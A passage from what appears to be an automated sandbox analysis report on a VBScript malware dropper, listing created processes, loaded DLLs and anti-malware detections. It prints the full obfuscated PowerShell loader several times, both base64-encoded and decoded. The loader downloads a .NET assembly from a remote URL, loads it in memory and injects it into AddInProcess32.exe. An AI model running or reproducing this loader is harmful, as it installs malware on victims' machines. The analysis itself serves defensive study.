dhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msvfw32.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCc", "0", "false");

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"			Jump to behavior

Suspicious powershell command line found

